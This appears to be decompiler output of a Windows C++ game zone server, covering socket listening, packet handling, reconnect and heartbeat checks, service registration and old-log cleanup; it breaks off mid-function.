char __thiscall ZoneServer::zs_Start_Acceptor(ZoneServer *this) { ZoneServer *v1; // edi@1 int v3; // ebx@7 int v4; // eax@12 int v5; // eax@13 int datanum; // [sp+8h] [bp-90h]@7 char serverinfo; // [sp+Ch] [bp-8Ch]@8 int v8; // [sp+10h] [bp-88h]@9 int v9; // [sp+14h] [bp-84h]@10 int v10; // [sp+18h] [bp-80h]@11 unsigned int UserData; // [sp+1Ch] [bp-7Ch]@12 char *pIPAddress; // [sp+20h] [bp-78h]@12 int PortNo; // [sp+24h] [bp-74h]@12 int BacklogCount; // [sp+28h] [bp-70h]@12 char clientinfo; // [sp+30h] [bp-68h]@1 int MaxSessions; // [sp+50h] [bp-48h]@3 char buffer[64]; // [sp+54h] [bp-44h]@14 v1 = this; if ( !CServerInfo::GetServerInfo( (CServerInfo *)&v1->zs_serverinfo, (CServerInfo::SERVER_INFO *)&clientinfo, *(_DWORD *)&v1->gap40[1264], *(_DWORD *)&this->gap40[1268], *(_DWORD *)&v1->gap40[1272], 20) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Start_Acceptor : No data for client listen", 0); return 0; } if ( !ClientSessionManager::InitSessions(&v1->zs_clientsessionmanager, MaxSessions) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Start_Acceptor : Init session fail", 0); return 0; } if ( !CSocket_Acceptor::Listen_Start(&v1->zs_Acceptor) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Start_Acceptor : Listen Start fail", 0); return 0; } v3 = 0; datanum = CServerInfo::GetNumOfData((CServerInfo *)&v1->zs_serverinfo); if ( datanum <= 0 ) return 1; while ( 1 ) { if ( !CServerInfo::GetServerInfo((CServerInfo *)&v1->zs_serverinfo, (CServerInfo::SERVER_INFO *)&serverinfo, v3) || v8 != *(_DWORD *)&v1->gap40[1264] || v9 != *(_DWORD *)&v1->gap40[1268] || v10 != *(_DWORD *)&v1->gap40[1272] ) goto LABEL_15; v4 = CSocket_Acceptor::Listen_Add(&v1->zs_Acceptor, pIPAddress, PortNo, UserData, BacklogCount); if ( AssertClass::operator__(&shineassert, v4, "ZoneServer::zs_Start_Acceptor : Listen fail", 0) ) return 0; v5 = CSocket_Acceptor::Listen_Add( &v1->zs_Acceptor, pIPAddress, *(_DWORD *)&zoneserver.gap40[1272] + 100 * (*(_DWORD *)&zoneserver.gap40[1268] + 120), 0x64u, 3); if ( AssertClass::operator__(&shineassert, v5, "ZoneServer::zs_Start_Acceptor : Listen fail", 0) ) return 0; sprintf(buffer, "Listen from Zone[%d]"); message(buffer); LABEL_15: ++v3; if ( v3 >= datanum ) return 1; } } //----- (00534620) -------------------------------------------------------- unsigned int __stdcall ZoneServer::zs_stackcheckfunc(void *param) { int v1; // edi@2 *((_BYTE *)param + 16) = 1; *((_BYTE *)param + 17) = 0; *((_DWORD *)param + 7) = 0; do { v1 = *((_DWORD *)param + 3); if ( *((_DWORD *)param + 7) == v1 ) FunctionCallingAnalyzer::fca_printf(&funcallanalizer, "ShineStackStruct"); *((_DWORD *)param + 7) = v1; Sleep(0x2710u); } while ( !*((_BYTE *)param + 17) ); *((_BYTE *)param + 16) = 0; return 0; } //----- (00534680) -------------------------------------------------------- int __thiscall ZoneServer::zs_PacketProcess(ZoneServer *this, char *from, ZoneBaseSession *session) { ZoneBaseSession *v3; // esi@1 ZoneBaseSession::SESSION_STATUS v4; // eax@1 signed int i; // edi@3 int v6; // eax@5 int v7; // eax@6 v3 = session; v4 = session->m_Status; if ( (signed int)v4 > 0 && (signed int)v4 <= 2 ) { for ( i = 0; i < 1000; ++i ) { v6 = v3->m_Packet.vfptr->IsValidPacket(&v3->m_Packet); if ( !v6 ) { if ( v3->m_Packet.vfptr->RemoveAllUsedPacket(&v3->m_Packet) ) ZoneBaseSession::Receive(v3); return 0; } v7 = v6 - 1; if ( !v7 ) { v3->vfptr->zbs_Parsing(v3, 0, 65535u); v3->m_Packet.vfptr->TakeNextPacket(&v3->m_Packet); ++sleepmanager.sm_PacketNumber; return 0; } if ( v7 == 1 ) { v3->m_Packet.vfptr->GetPacketSize(&v3->m_Packet, (int *)&session); if ( (signed int)session >= 0 ) { v3->m_Packet.vfptr->GetIDPtr(&v3->m_Packet); v3->m_Status = 3; } return 1; } } } return 2; } //----- (00534760) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_LoginIPSet(int this, char a0, char a1, char a2, char a3) { char result; // al@1 *(_BYTE *)(this + 92232) = a0; result = a2; *(_BYTE *)(this + 92233) = a1; *(_BYTE *)(this + 92234) = a2; *(_BYTE *)(this + 92235) = a3; return result; } //----- (00534790) -------------------------------------------------------- void __cdecl EraseOldLogList(char *filename) { char *v1; // edi@1 int v2; // esi@1 signed int v3; // ecx@1 bool v4; // zf@1 _iobuf *v5; // esi@6 char *v6; // eax@8 unsigned int v7; // edx@8 char v8; // cl@9 v1 = filename; v2 = (int)"ChargedItemLog"; v3 = 15; v4 = 1; do { if ( !v3 ) break; v4 = *(_BYTE *)v2++ == *v1++; --v3; } while ( v4 ); if ( !v4 ) { if ( erasenum >= 128 ) { v5 = fopen("Message.txt", "w"); fprintf(v5, "void EraseOldLogList(char *filename)\n"); fclose(v5); ShineExit("EraseOldLogList"); } v6 = filename; v7 = &erasefile[128 * erasenum] - filename; do { v8 = *v6; v6[v7] = *v6; ++v6; } while ( v8 ); ++erasenum; } } //----- (00534810) -------------------------------------------------------- int __cdecl EraseLog() { int result; // eax@1 unsigned int v1; // esi@2 tm *v2; // eax@3 int v3; // ebx@3 char *v4; // eax@5 char v5; // cl@6 char *v6; // edi@7 char v7; // al@8 __int16 v8; // ax@9 HANDLE v9; // ebp@9 unsigned int v10; // eax@10 char *v11; // esi@10 char *v12; // edi@10 int v13; // eax@11 bool v14; // sf@16 unsigned __int8 v15; // of@16 char *v16; // [sp+0h] [bp-258h]@2 unsigned int v17; // [sp+4h] [bp-254h]@2 int k; // [sp+8h] [bp-250h]@1 signed int lastmonth; // [sp+Ch] [bp-24Ch]@3 time_t timevar; // [sp+10h] [bp-248h]@3 struct _WIN32_FIND_DATAA FindData; // [sp+14h] [bp-244h]@7 char path[255]; // [sp+154h] [bp-104h]@2 result = erasenum; k = 0; if ( erasenum > 0 ) { v1 = path - erasefile; v16 = erasefile; v17 = path - erasefile; do { mysecond(&timevar); v2 = localtime(&timevar); v3 = v2->tm_mon + 1; lastmonth = v2->tm_mon; if ( !lastmonth ) lastmonth = 12; v4 = v16; do { v5 = *v4; v4[v1] = *v4; ++v4; } while ( v5 ); v6 = &FindData.cAlternateFileName[15]; do v7 = (v6++)[1]; while ( v7 ); v8 = word_5D47B4; *(_DWORD *)v6 = *(_DWORD *)"*.txt"; *((_WORD *)v6 + 2) = v8; v9 = FindFirstFileA(path, &FindData); if ( v9 != (HANDLE)-1 ) { v10 = strlen(v16); v11 = &FindData.cFileName[v10 + 4]; v12 = &FindData.cFileName[v10 + 5]; do { v13 = *v12 + 10 * *v11 - 528; if ( v13 != v3 ) { if ( v13 != lastmonth ) DeleteFileA(FindData.cFileName); } } while ( FindNextFileA(v9, &FindData) ); FindClose(v9); v1 = v17; } result = k + 1; v1 -= 128; v15 = __OFSUB__(k + 1, erasenum); v14 = k++ + 1 - erasenum < 0; v17 = v1; v16 += 128; } while ( v14 ^ v15 ); } return result; } // 5D47B4: using guessed type __int16 word_5D47B4; //----- (00534970) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (00534990) -------------------------------------------------------- WinService *__cdecl Singleton::getInstance() { WinService *result; // eax@1 void *v1; // eax@2 int v2; // eax@3 void *v3; // [sp+0h] [bp-10h]@2 result = (WinService *)Singleton::selfInstance; if ( !Singleton::selfInstance ) { v1 = operator new(0x44u); v3 = v1; if ( v1 ) WinService::WinService((WinService *)v1); else v2 = 0; Singleton::selfInstance = v2; (**(void (__cdecl ***)(_DWORD))v2)(v3); result = (WinService *)Singleton::selfInstance; } return result; } // 1250D648: using guessed type int Singleton_WinService___selfInstance; //----- (00534A00) -------------------------------------------------------- void __thiscall SocketBundle::sb_Routine(SocketBundle *this, char *flag, ZoneServer *zone, int towhere) { signed int v4; // ebp@1 char *v5; // edi@1 DebugLogging *v6; // eax@5 DebugLogging *v7; // esi@5 _iobuf *v8; // eax@7 DebugLogging *v9; // eax@12 char *v10; // [sp-8h] [bp-18h]@10 v4 = 0; v5 = (char *)&this->sb_SocketStr[0].socket.baseclass_0.m_Status; do { if ( *(_DWORD *)v5 != 1 && *(_DWORD *)v5 != 2 ) { if ( *((_DWORD *)v5 + 63) > clockwatch.cw_CurrTick ) return; v5[256] = 0; v6 = DebugLogging::operator<<(&SocketMultiplicateLog, flag); v7 = DebugLogging::operator<<(v6, " Socket cut - try reconnect "); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } DebugLogging::operator<<(v7, " : reconnect "); if ( ZoneServer::zs_ServerConnect(zone, (ZoneBaseSession *)(v5 - 4), towhere, 1) ) v10 = "success"; else v10 = (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[3].mts_LastHit; v9 = DebugLogging::operator<<(&SocketMultiplicateLog, v10); DebugLogging::operator<<(v9, &deb_LF); } ++v4; v5 += 264; } while ( v4 < 4 ); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00534AF0) -------------------------------------------------------- void __thiscall SleepManager::sm_Sleep(SleepManager *this) { SleepManager *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SleepManager::sm_Sleep"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SleepManager::sm_Sleep"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Sleep(1u); v1->sm_LoopNumber = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SleepManager::sm_Sleep"); } //----- (00534B60) -------------------------------------------------------- void __thiscall SleepManager::sm_Routine(SleepManager *this) { SleepManager *v1; // esi@1 int v2; // eax@1 int v3; // edx@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SleepManager::sm_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SleepManager::sm_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->sm_PacketNumber; if ( v1->sm_MaxPacketInLoop < v1->sm_PacketNumber ) v1->sm_MaxPacketInLoop = v2; v3 = v1->sm_LoopNumber; if ( 2500 * v2 / v1->sm_MaxPacketInLoop >= v3 * v3 ) v1->sm_LoopNumber = v3 + 1; else SleepManager::sm_Sleep(v1); v1->sm_PacketNumber = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SleepManager::sm_Routine"); } //----- (00534C30) -------------------------------------------------------- void __thiscall ZoneServer::_ZoneServer(ZoneServer *this) { ZoneServer *v1; // esi@1 v1 = this; ClientSessionManager::_ClientSessionManager(&this->zs_clientsessionmanager); CSocket_Acceptor::_CSocket_Acceptor(&v1->zs_Acceptor); CIOCP::_CIOCP(&v1->zs_IOCP); CCsl::_CCsl((CCsl *)&v1->zs_serverinfo); } //----- (00534CA0) -------------------------------------------------------- char __thiscall ZoneServer::zs_Start_StackChecker(ZoneServer *this) { ZoneServer *v1; // esi@1 HANDLE v2; // eax@1 char result; // al@4 v1 = this; this->zs_stackcheck.stop = 0; this->zs_stackcheck.activ = 0; v2 = CreateThread(0, 0, ZoneServer::zs_stackcheckfunc, this, 0, &this->zs_stackcheck.id); v1->zs_stackcheck.handle = v2; if ( v2 ) { while ( v1->zs_stackcheck.activ != 1 ) Sleep(5u); result = 1; } else { result = 0; } return result; } //----- (00534CF0) -------------------------------------------------------- #error "534CF0: undefined or illegal type '#331' (funcsize=191)" //----- (00534F90) -------------------------------------------------------- bool __thiscall ZoneServer::ParseCmd(ZoneServer *this, char *cmdLine) { ZoneServer *v2; // ebp@1 signed int v3; // esi@1 char *v4; // eax@1 String *v5; // edi@2 const char *v6; // edi@5 const char *v7; // ebx@5 WinService *v8; // ebp@5 int v9; // eax@9 const char *v10; // esi@17 bool result; // al@20 String v12; // [sp-30h] [bp-4F0h]@9 String v13; // [sp-20h] [bp-4E0h]@9 String v14; // [sp-10h] [bp-4D0h]@9 LPCSTR v15; // [sp-4h] [bp-4C4h]@17 String *v16; // [sp+10h] [bp-4B0h]@9 String cmd_UPLOAD; // [sp+14h] [bp-4ACh]@1 LPCSTR pMsg; // [sp+24h] [bp-49Ch]@14 int v19; // [sp+28h] [bp-498h]@14 int v20; // [sp+2Ch] [bp-494h]@14 int v21; // [sp+30h] [bp-490h]@14 int v22; // [sp+34h] [bp-48Ch]@14 int v23; // [sp+38h] [bp-488h]@14 int QueryResult; // [sp+3Ch] [bp-484h]@6 String *v25; // [sp+40h] [bp-480h]@9 String cmd_REMOVE; // [sp+44h] [bp-47Ch]@1 String *v27; // [sp+54h] [bp-46Ch]@9 String command[5]; // [sp+58h] [bp-468h]@1 unsigned __int8 delimit[4]; // [sp+A8h] [bp-418h]@1 char v30; // [sp+ACh] [bp-414h]@1 char moduleName[1024]; // [sp+B0h] [bp-410h]@5 unsigned int cookie; // [sp+4B0h] [bp-10h]@20 int v33; // [sp+4BCh] [bp-4h]@1 v2 = this; String::String(&cmd_UPLOAD, "UPLOAD"); v33 = 0; String::String(&cmd_REMOVE, "REMOVE"); LOBYTE(v33) = 1; _eh_vector_constructor_iterator_( command, 0x10u, 5, (void (__thiscall *)(void *))String::String, (void (__thiscall *)(void *))String::_String); *(_DWORD *)delimit = *(_DWORD *)" \t,\""; LOBYTE(v33) = 2; v30 = byte_5D4910; v3 = 0; v4 = _mbstok(cmdLine, (const char *)delimit); if ( v4 ) { v5 = command; do { if ( v3 >= 5 ) break; String::operator_(v5, v4); ++v3; ++v5; v4 = _mbstok(0, (const char *)delimit); } while ( v4 ); } v6 = *(const char **)&v2->gap40[1256]; v7 = *(const char **)&v2->gap40[1260]; v8 = Singleton::getInstance(); GetModuleFileNameA(0, moduleName, 0x400u); if ( v3 < 1 ) { if ( WinService::queryServiceStatus(v8, (unsigned int *)&QueryResult, 0, v6) ) { v9 = 0; goto checkval; } String::operator_(command, &cmd_UPLOAD); } String::makeUpper(command); if ( operator__(command, &cmd_UPLOAD) ) { v27 = &v14; String::String(&v14, moduleName); v25 = &v13; LOBYTE(v33) = 3; String::String(&v13, v7); v16 = &v12; LOBYTE(v33) = 4; String::String(&v12, v6); LOBYTE(v33) = 2; v9 = (WinService::uploadService(v8, v12, v13, v14) == 0) + 1; } else { if ( operator__(command, &cmd_REMOVE) ) { v16 = &v14; String::String(&v14, v6); v9 = 4 - (WinService::removeService(v8, v14) != 0); } else { v9 = 5; } } checkval: pMsg = ""; v19 = (int)""; v20 = (int)""; v21 = (int)""; v22 = (int)""; v23 = (int)""; if ( !v9 ) { v15 = ""; _DebugMessageNew(1, "Msg", "%s"); LABEL_19: LOBYTE(v33) = 1; _eh_vector_destructor_iterator_(command, 0x10u, 5, (void (__thiscall *)(void *))String::_String); LOBYTE(v33) = 0; String::_String(&cmd_REMOVE); v33 = -1; String::_String(&cmd_UPLOAD); goto LABEL_20; } if ( v9 <= 0 || v9 > 5 ) goto LABEL_19; v15 = (&pMsg)[4 * v9]; v10 = v15; _DebugMessageNew(1, "Msg", "%s"); MessageBoxA(0, v10, v7, 0); LOBYTE(v33) = 1; _eh_vector_destructor_iterator_(command, 0x10u, 5, (void (__thiscall *)(void *))String::_String); LOBYTE(v33) = 0; String::_String(&cmd_REMOVE); v33 = -1; String::_String(&cmd_UPLOAD); LABEL_20: __security_check_cookie(cookie); return result; } // 5D4910: using guessed type char byte_5D4910; //----- (005352B0) -------------------------------------------------------- void __thiscall SocketBundle::sb_HeartBeatCheck(SocketBundle *this, char *flag) { SocketBundle *v2; // ebp@1 char *v3; // esi@1 DebugLogging *v4; // eax@3 DebugLogging *v5; // eax@3 DebugLogging *v6; // edi@3 _iobuf *v7; // eax@5 _iobuf *v8; // eax@10 bool v9; // sf@11 unsigned __int8 v10; // of@11 int k; // [sp+10h] [bp-4h]@1 v2 = this; k = 0; v3 = (char *)this->sb_SocketStr; do { if ( !(**(int (__thiscall ***)(char *, signed int))v3)(v3, 30) ) { ZoneBaseSession::Close((ZoneBaseSession *)v3); *((_DWORD *)v3 + 1) = 0; *((_DWORD *)v3 + 64) = clockwatch.cw_CurrTick + 10 * v2->sb_ReconnectInterval; v3[260] = 0; v4 = DebugLogging::operator<<(&SocketMultiplicateLog, flag); v5 = DebugLogging::operator<<(v4, " Cut by heartbeat "); v6 = v5; if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } if ( DebugLogging::dl_ActivAll && v6->dl_Activ ) { if ( v6->dl_FilePointer ) { v8 = DebugLogging::dl_FilePoint(v6); fputc(10, v8); fflush(v6->dl_FilePointer); fclose(v6->dl_FilePointer); v6->dl_FilePointer = 0; } } } } v3 += 264; v10 = __OFSUB__(k + 1, 4); v9 = k++ - 3 < 0; } while ( v9 ^ v10 ); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (005353B0) -------------------------------------------------------- void __thiscall SocketBundle::sb_Packet(SocketBundle *this, char *flag, ZoneServer *zone) { char *v3; // edi@1 DebugLogging *v4; // eax@5 DebugLogging *v5; // esi@5 _iobuf *v6; // eax@7 DebugLogging *v7; // esi@9 _iobuf *v8; // eax@11 _iobuf *v9; // eax@16 bool v10; // sf@17 unsigned __int8 v11; // of@17 int k; // [sp+10h] [bp-8h]@1 SocketBundle *v13; // [sp+14h] [bp-4h]@1 v13 = this; k = 0; v3 = (char *)&this->sb_SocketStr[0].socket.baseclass_0.m_Status; do { if ( (*(_DWORD *)v3 == 1 || *(_DWORD *)v3 == 2) && ZoneServer::zs_PacketProcess(zone, flag, (ZoneBaseSession *)(v3 - 4)) ) { ZoneBaseSession::Close((ZoneBaseSession *)(v3 - 4)); *(_DWORD *)v3 = 0; *((_DWORD *)v3 + 63) = clockwatch.cw_CurrTick + 10 * v13->sb_ReconnectInterval; v3[256] = 0; v4 = DebugLogging::operator<<(&SocketMultiplicateLog, flag); v5 = DebugLogging::operator<<(v4, " Cut by invalid packet "); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v7 = DebugLogging::operator<<(v5, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } if ( DebugLogging::dl_ActivAll && v7->dl_Activ ) { if ( v7->dl_FilePointer ) { v9 = DebugLogging::dl_FilePoint(v7); fputc(10, v9); fflush(v7->dl_FilePointer); fclose(v7->dl_FilePointer); v7->dl_FilePointer = 0; } } } } v3 += 264; v11 = __OFSUB__(k + 1, 4); v10 = k++ - 3 < 0; } while ( v10 ^ v11 ); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00535530) -------------------------------------------------------- void __thiscall SocketBundle::sb_DisconnectCheck(SocketBundle *this, char *flag) { SocketBundle *v2; // ebp@1 char *v3; // esi@1 DebugLogging *v4; // eax@3 DebugLogging *v5; // eax@3 DebugLogging *v6; // edi@3 _iobuf *v7; // eax@5 _iobuf *v8; // eax@10 bool v9; // sf@11 unsigned __int8 v10; // of@11 int k; // [sp+10h] [bp-4h]@1 v2 = this; k = 0; v3 = (char *)&this->sb_SocketStr[0].socket.baseclass_0.m_Status; do { if ( *(_DWORD *)v3 == 3 ) { ZoneBaseSession::Close((ZoneBaseSession *)(v3 - 4)); *(_DWORD *)v3 = 0; *((_DWORD *)v3 + 63) = clockwatch.cw_CurrTick + 10 * v2->sb_ReconnectInterval; v3[256] = 0; v4 = DebugLogging::operator<<(&SocketMultiplicateLog, flag); v5 = DebugLogging::operator<<(v4, " Close during SESSION_STATUS_CLOSEING "); v6 = v5; if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } if ( DebugLogging::dl_ActivAll && v6->dl_Activ ) { if ( v6->dl_FilePointer ) { v8 = DebugLogging::dl_FilePoint(v6); fputc(10, v8); fflush(v6->dl_FilePointer); fclose(v6->dl_FilePointer); v6->dl_FilePointer = 0; } } } } v3 += 264; v10 = __OFSUB__(k + 1, 4); v9 = k++ - 3 < 0; } while ( v9 ^ v10 ); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00535630) -------------------------------------------------------- void __thiscall ZoneServer::ZoneServer(ZoneServer *this) { ZoneServer *v1; // esi@1 char *v2; // edi@1 v1 = this; v2 = (char *)&this->zs_serverinfo; CServerInfo::CServerInfo((CServerInfo *)&this->zs_serverinfo); *((_DWORD *)v2 + 326) = 0; *((_DWORD *)v2 + 325) = 0; *((_DWORD *)v2 + 324) = 0; *((_DWORD *)v2 + 323) = 0; CIOCP::CIOCP(&v1->zs_IOCP); CSocket_Acceptor::CSocket_Acceptor(&v1->zs_Acceptor); ClientSessionManager::ClientSessionManager(&v1->zs_clientsessionmanager); } //----- (005356C0) -------------------------------------------------------- int __thiscall ZoneServer::zs_start(ZoneServer *this, char *cmdLine) { ZoneServer *v2; // ebp@1 int v3; // eax@1 char v4; // cl@2 int i; // eax@3 _iobuf *v6; // esi@6 int v7; // eax@9 int v8; // edi@19 WinService *v9; // eax@21 int result; // eax@22 String v11; // [sp-18h] [bp-448h]@21 char *v12; // [sp-Ch] [bp-43Ch]@21 const char *v13; // [sp-8h] [bp-438h]@21 size_t v14; // [sp-4h] [bp-434h]@6 String *v15; // [sp+10h] [bp-420h]@9 char worldname; // [sp+14h] [bp-41Ch]@19 char *v17; // [sp+1Ch] [bp-414h]@21 char fileName[1024]; // [sp+20h] [bp-410h]@1 unsigned int cookie; // [sp+420h] [bp-10h]@22 int v20; // [sp+42Ch] [bp-4h]@21 v2 = this; GetModuleFileNameA(0, fileName, 0x400u); v3 = (int)fileName; do v4 = *(_BYTE *)v3++; while ( v4 ); for ( i = v3 - (_DWORD)&fileName[1] - 1; i >= 0; --i ) { if ( fileName[i] == 92 ) break; } v14 = (size_t)fileName; fileName[i] = 0; _chdir((const char *)v14); ShineObjectClass::ShineObject::so_Initstaticvar(); v6 = fopen("../9Data/ServerInfo/_ServerGroup.txt", "r"); if ( v6 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ServerGroup.txt", 0); ShineExit("ZoneServer::zs_start"); } v14 = (size_t)&v2->gap40[1292]; v7 = fscanf(v6, "%s"); v15 = (String *)(v7 == 1); if ( v7 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ServerGroup", 0); ShineExit("ZoneServer::zs_start"); } fclose(v6); if ( !CServerInfo::ReadServerInfo((CServerInfo *)&v2->zs_serverinfo, "../9Data/ServerInfo/ZoneServerInfo.txt") ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ZoneServerInfo.txt", 0); ShineExit("ZoneServer::zs_start"); } if ( !CServerInfo::GetMyServerInfo((CServerInfo *)&v2->zs_serverinfo, (CServerInfo::MY_SERVER *)&v2->gap40[1256]) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail Serverinfo", 0); ShineExit("ZoneServer::zs_start"); } if ( ZoneServer::ParseCmd(v2, cmdLine) ) { v8 = *(_DWORD *)&v2->gap40[1268]; if ( CServerInfo::GetWorldName((CServerInfo *)&v2->zs_serverinfo, v8, (CServerInfo::WORLD_NAME *)&worldname) ) { v14 = 16; v13 = v17; v12 = &v2->gap40[1276]; *(_DWORD *)&v2->gap40[1288] = 0; *(_DWORD *)&v2->gap40[1284] = 0; *(_DWORD *)&v2->gap40[1280] = 0; *(_DWORD *)&v2->gap40[1276] = 0; strncpy(v12, v13, v14); v14 = (size_t)OnStop_Service; v13 = (const char *)OnStart_Service; v15 = &v11; String::String(&v11, "ZoneServer"); v20 = -1; v9 = Singleton::getInstance(); WinService::startDispatcher(v9, v11, (bool (__cdecl *)())v13, (void (__cdecl *)())v14); } else { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Cannot found WorldName", v8); } } __security_check_cookie(cookie); return result; } //----- (005358E0) -------------------------------------------------------- #error "5358E0: undefined or illegal type '#331' (funcsize=132)" //----- (00535AB0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00535AF0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x14u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (00535B30) -------------------------------------------------------- unsigned int __stdcall ZoneServer::zs_mainthreadfunction(void *param) { signed int v1; // esi@1 void *v2; // ebp@1 bool v3; // zf@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // edi@3 std::_Tree_nod,std::allocator,0> >::_Node *v6; // esi@3 signed int v7; // edx@8 void *v8; // ecx@10 int i; // edi@12 bool v10; // cf@13 int v11; // esi@14 int v12; // ebp@15 DebugLogging *v13; // eax@17 DebugLogging *v14; // esi@17 _iobuf *v15; // eax@22 _iobuf *v16; // eax@24 DebugLogging *v17; // eax@26 DebugLogging *v18; // esi@26 _iobuf *v19; // eax@31 _iobuf *v20; // eax@33 DebugLogging *v21; // eax@35 DebugLogging *v22; // esi@35 _iobuf *v23; // eax@40 _iobuf *v24; // eax@42 DebugLogging *v25; // eax@44 DebugLogging *v26; // esi@44 _iobuf *v27; // eax@49 _iobuf *v28; // eax@51 DebugLogging *v29; // eax@53 DebugLogging *v30; // esi@53 _iobuf *v31; // eax@58 _iobuf *v32; // eax@60 DebugLogging *v33; // eax@62 DebugLogging *v34; // esi@62 _iobuf *v35; // eax@67 _iobuf *v36; // eax@69 DebugLogging *v37; // eax@71 DebugLogging *v38; // esi@71 __int16 nSplitIndex; // [sp+10h] [bp-24h]@15 int nIndex; // [sp+14h] [bp-20h]@13 int nObjType; // [sp+18h] [bp-1Ch]@8 void *pObjectEachList; // [sp+1Ch] [bp-18h]@10 ShineObjectHandleUnion hndunion; // [sp+20h] [bp-14h]@8 FunctionEntarance _; // [sp+24h] [bp-10h]@1 int v46; // [sp+30h] [bp-4h]@1 _.fe_FunctionCode = "ZoneServer::zs_mainthreadfunction"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneServer::zs_mainthreadfunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneServer::zs_mainthreadfunction"; v1 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = param; *((_BYTE *)param + 1) = 0; *(_BYTE *)param = 1; *((_DWORD *)param + 3) = 1; BalanceLog.dl_Activ = 0; v3 = *((_BYTE *)param + 1) == 0; v46 = 0; if ( v3 ) { do { FunctionProfiler::PerformanceRecorder::pr_MainLoopHead(&_PerformanceRecorder); ClockWatch::cw_Set(&clockwatch); dword_1246F082 = v1; ZoneServer::zs_disconnect((ZoneServer *)v2); ZoneServer::zs_connect((ZoneServer *)v2); SocketBundle::sb_Packet(&sock2gameDB, "DB", (ZoneServer *)v2); SocketBundle::sb_Packet(&sock2gamelog, "Log", (ZoneServer *)v2); SocketBundle::sb_Packet(&sock2wldman, "WMS", (ZoneServer *)v2); ZoneServer::zs_PacketProcess((ZoneServer *)v2, "ZoneCon", &zoneconnect.baseclass_0); ZoneServer::zs_PacketProcess((ZoneServer *)v2, "ZoneLis", &zonelisten.baseclass_0); if ( timefromworld.tm_min != (unsigned int)chargeditemcheck._bf0 >> 25 ) { v4 = globalset._Myhead; v5 = globalset._Myhead->_Parent; v6 = globalset._Myhead->_Parent; if ( !v5->_Isnil ) { do { std::_Tree_std::allocator_0>>::_Erase( &globalset, v6->_Right); v6 = v6->_Left; operator delete(v5); v5 = v6; } while ( 